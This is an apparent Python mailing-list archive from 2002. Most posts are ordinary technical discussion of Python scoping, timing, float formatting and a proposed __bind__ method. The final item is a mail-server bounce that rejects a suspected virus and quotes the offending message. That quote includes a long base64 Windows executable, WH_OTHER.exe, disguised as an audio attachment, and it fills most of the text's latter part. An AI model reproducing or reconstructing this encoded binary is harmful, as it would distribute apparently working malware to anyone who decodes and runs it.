rlcompleter readline.parse_and_bind("tab: complete") #======================================================== - Dave -- Dave Kuhlman dkuhlman at rexx.com http://www.rexx.com/~dkuhlman From ngps at vista.netmemetic.com Wed May 22 12:53:14 2002 From: ngps at vista.netmemetic.com (Ng Pheng Siong) Date: 22 May 2002 16:53:14 GMT Subject: Why is this question so beloved? Re: Is python really slow? References: Message-ID: According to Jeremy Yallop : > $ time python -c 'print 2**10000' > > [answer snipped] > > real 0m0.226s > user 0m0.070s > sys 0m0.010s > > $ time clisp -q -x '(expt 2 10000)' > > [answer snipped] > > real 0m0.038s > user 0m0.030s > sys 0m0.000s $ time python -c 'print 2**10000' real 0m0.347s user 0m0.044s sys 0m0.023s $ lisp -noinit CMU Common Lisp 18d, running on vista.netmemetic.com * (time (expt 2 10000)) Compiling LAMBDA NIL: Compiling Top-Level Form: Evaluation took: 0.0 seconds of real time 5.0e-6 seconds of user run time 5.0e-6 seconds of system run time 0 page faults and 0 bytes consed. (No idea if the two timings are comparable.) -- Ng Pheng Siong * http://www.netmemetic.com From fgeiger at datec.at Thu May 23 15:30:46 2002 From: fgeiger at datec.at (F. GEIGER) Date: Thu, 23 May 2002 21:30:46 +0200 Subject: python for webapplication tests References: Message-ID: Have a look at Puffin (it's in 0.8 already IIRC). Cheers Franz GEIGER "Marco Machmer" schrieb im Newsbeitrag news:mailman.1022167298.20934.python-list at python.org... > hy there, > > knows anybody a project or program for testing webapplications with > python? > (webappUnitTest or so) > > ma > > From whisper at oz.net Sat May 11 05:38:05 2002 From: whisper at oz.net (David LeBlanc) Date: Sat, 11 May 2002 02:38:05 -0700 Subject: Scope in 2.2.1 In-Reply-To: Message-ID: Alex; Thanks for your comments. I am confused by the last part though: you say that "bar2 += 1" is a reference before a rebinding or alteration of an already bound variable. Well, bar2 _is_ already bound by the logic you used in the discussion of bar in the print statement! What would happen if, instead of "print bar", it said "bar += 1" or "print bar++"? As python works now, it would seem that "bar += 1 is an error, but i'm not sure about bar++, since it's a post-fetch increment. It seems inconsistant to me that a reference (without modification) finds an outer binding in a print statement, but an implicit (attempt to) reference in a plus-equals is an error. It only makes sense to me to not use foo.bar2 within fee() if there's a local bar2 or a "global bar2" (which would then have to refer to a global bar2, not foo.bar2 no?). As you say, "+=" is a reference and rebinding (if that's the appropriate terminology). Since the reference comes before the rebinding, the nearest pre-existing binding of bar2 ought to be used. I think this is a bug! I think it at least violates the principle of least surprise :-) Maybe the appendix would make more sense as: "If a name binding operation occurs anywhere within a code block, all uses of that name within the block are treated as references to that binding. This will lead to errors when a name is used within a block before it is bound." Regards, David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Alex Martelli > Sent: Saturday, May 11, 2002 1:52 > To: python-list at python.org > Subject: Re: Scope in 2.2.1 > > > David LeBlanc wrote: > > > The 2.2.1 Python doc in Appendix A1 says: > > "If a name binding operation occurs anywhere within a code > block, all uses > > of the name within the block are treated as references to the current > > block. This can lead to errors when a name is used within a block before > > it is bound." > > > > def foo(): #block > > bar = 0 #binding > > > > bar now is a reference to foo? Somehow, I doubt that! > > Right -- the wording of A1 may not be optimal here. > > > > My other question pertaining to this paragraph is: what errors can occur > > if a name is used before it's bound? > > NameError, or its subclass UnboundLocalError specifically. > > > > My other question is illustrated by this code: > > > >>>> def foo(): > > ... bar = 0 > > ... bar2 = 0 > > ... def fee(): > > ... print bar > > ... bar2 += 1 > > ... print bar2 > > ... fee() > > ... > >>>> foo() > > 0 > > Traceback (most recent call last): > > File "", line 1, in ? > > File "", line 8, in foo > > File "", line 6, in fee > > UnboundLocalError: local variable 'bar2' referenced before assignment > > > > Is the bar in "print bar" the bar of foo(), or is it an unbound bar? > > It's "the bar of foo" since the block of fee has no binding operations > on it so nested local scopes apply. > > > Is foo.bar2 the bar2 in fee() or is it a new local fee.bar2? > The traceback > > The bar2 in fee is a local variable of bar2 because the body of fee > includes the binding operation "bar2 +=". > > Actually, all augmented assignments can only ever *RE*-bind their LHS, > so the compiler might be able to diagnose the error if a block's only > binding operations on a name are augmented assignments -- in theory. > > > implies that the "print bar" statement used foo.bar, yet it blew up on > > incrementing bar2! > > Yes, because bar comes from outer scope (since there is no binding > operation on it) but bar2 is a local (since there IS a binding op on it). > > > (Note: the error reporting seems misleading, since "+=" > > is an assignment no?) > > It's an access, "perhaps" followed by an assignment (which is why it > can only ever re-bind, or alter -- never bind anew a name that was > not bound before...: because first it must access that name's present > binding). The reference (access) is indeed before any assignment. > > > Alex > > -- > http://mail.python.org/mailman/listinfo/python-list From peter at engcorp.com Thu May 30 19:43:57 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 19:43:57 -0400 Subject: Aliasing? (was Re: Spiral) References: Message-ID: <3CF6B93D.8E607A23@engcorp.com> Chris wrote: > > I've written a small QBASIC program which draws a spiral. Here is the > code: > > SCREEN 12 > CLS > FOR t = 1 TO 400 STEP .01 > x = .5 * t * COS(t) > y = .5 * t * SIN(t) > PSET (x + 320, y + 240) > NEXT t > > I noticed that it generated some interesting patterns, probably as a > result of rounding errors. These can be explored further by making the > spiral tighter. This sounds a lot like a moire pattern, which is an aspect of the phenomenon called "aliasing". I found a reasonable explanation of this and some examples in this PDF: http://www-2.cs.cmu.edu/afs/andrew/scs/cs/15-463/pub/www/notes/aliasing.pdf With pixelized graphical output devices, aliasing manifests itself as strange optical patterns formed when you have closely spaced adjacent lines which are not vertical or horizontal, and the effect becomes even more pronounced with certain kinds of curves, perhaps such as your spirals. -Peter From jblazi at hotmail.com Fri May 24 17:52:20 2002 From: jblazi at hotmail.com (jb) Date: Fri, 24 May 2002 23:52:20 +0200 Subject: Floating point format Message-ID: <3ceeb292_2@news3.newsgroups.com> On my system floating points are displayed as 12.34. Is there a simple possibility to have 12,34 instead? Of course I could look at the output of '%4.1f' % x and replace the '.' by a ',', but is there a more elegant way? -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsfeed.Com - Uncensored Usenet News ==---------- http://www.newsfeed.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From jadestar at idiom.com Mon May 13 02:33:11 2002 From: jadestar at idiom.com (James T. Dennis) Date: 13 May 2002 06:33:11 GMT Subject: proto-PEPs: __bind__ and __return__? Message-ID: I think this is only to open a can of flameworms but I just have to compose the idea and let the forum shred it. The = operator in Python bothers me. We have so little control over it. We can't overload it. What if we created two special methods: __bind__ and __return__ which are (if present) invoked by the assignment operator. If these special methods are not present the assignment semantics remain the same as they are today. Consider the statement: a = b ... currently this works roughly as follows: if not exists a: instantiate a variable object if b is an expression: evaluate it, creating a new object look up reference to b bind it to a (make a refer to it) We all know that. So far this doesn't give us any means to make 'a' into a constant, nor does it give us a way to constrain 'a' to allow us to force 'a' to be in a specific (portion of the) class hierarchy. Enter the __bind__ method. Obviously if 'a' doesn't exist then the new/generic object won't have an __bind__ method and everything will proceed as we'd expect. However, if hasattr('__bind__', a) then that method is called with a reference to self, and a reference to the target object to which the binding would/might occur. This target might be a newly instantiated and otherwise anonymous object: a = 1 # 1 is newly instantiated and was unbound prior to this statement. That that point, the __bind__ method could simple say: self = target (effectively do the same as if we hadn't over-ridden the binding operation) or it could raise an exception (ValueError if the target is of the wrong time is fails an issubclass() test; or possbly a new ConstantException if we're using __bind__ to create a constant mix-in class. >>> class Constant(object): ... def __bind__(self,target): ... if unbound('self'): ... self=target ... else: ... raise ConstantError, 'Cannot rebind to constant' >>> a = Constant(5) >>> a = 6 Traceback (most recent call last): File "", line 1, in ? ConstantError: Cannot rebind to constant To create a constrained class we might use something like: >>> class ConstrainType(object): ... def __bind__(self,target): ... if unbound('self') or isinstance(target,self.__class__): ... self=target ... else: ... raise ValueError, 'Type Constraint Violated' >>> a = ConstrainType(String("foo")) >>> a = 'bar' >>> a 'bar' >>> a = 5 Traceback (most recent call last): File "", line 1, in ? ValueError: Type Constraint Violated >>> Once could also imagine bounded numbers (that would test that they were being bound with a specific range, or only to even, odds, or whatever). I hope that makes sense. (BTW: I hypothesized an "unbound()" function whose intent should be obvious --- I suppose it could be implemented with enough knowlege of the scoping rules by searching globals() and locals() and ??? From exim at python.org Tue May 28 10:32:04 2002 From: exim at python.org (exim at python.org) Date: Tue, 28 May 2002 10:32:04 -0400 Subject: Mail returned: possible virus infection In-Reply-To: <200205281358.g4SDw8X148047@logs-we.proxy.aol.com> Message-ID: This message has been rejected because it has a potentially executable attachment. This form of attachment is often used by e-mail viruses and worms. If you meant to send this file then please package it up in a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ The body of the message is 127614 characters long; only the first ------ 32000 or so are included here. Received: from rly-ip01.mx.aol.com ([205.188.156.49]) by mail.python.org with esmtp (Exim 4.02) id 17Ci15-0002OL-00 for bwarsaw at python.org; Tue, 28 May 2002 10:32:03 -0400 Received: from logs-we.proxy.aol.com (logs-we.proxy.aol.com [205.188.195.5]) by rly-ip01.mx.aol.com (v83.35) with ESMTP id RELAYIN5-0528102750; Tue, 28 May 2002 10:27:50 2000 Received: from Xcwjfmbjk (AC848DD8.ipt.aol.com [172.132.141.216]) by logs-we.proxy.aol.com (8.10.0/8.10.0) with SMTP id g4SDw8X148047 for ; Tue, 28 May 2002 09:58:09 -0400 (EDT) Date: Tue, 28 May 2002 09:58:09 -0400 (EDT) Message-Id: <200205281358.g4SDw8X148047 at logs-we.proxy.aol.com> From: python-list To: bwarsaw at python.org Subject: Those files with its own version that might MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=Nk5yX3A5SN79B9K5n6M98ncu5 X-Apparently-From: SolSista004 at aol.com --Nk5yX3A5SN79B9K5n6M98ncu5 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --Nk5yX3A5SN79B9K5n6M98ncu5 Content-Type: audio/x-wav; name=WH_OTHER.exe Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 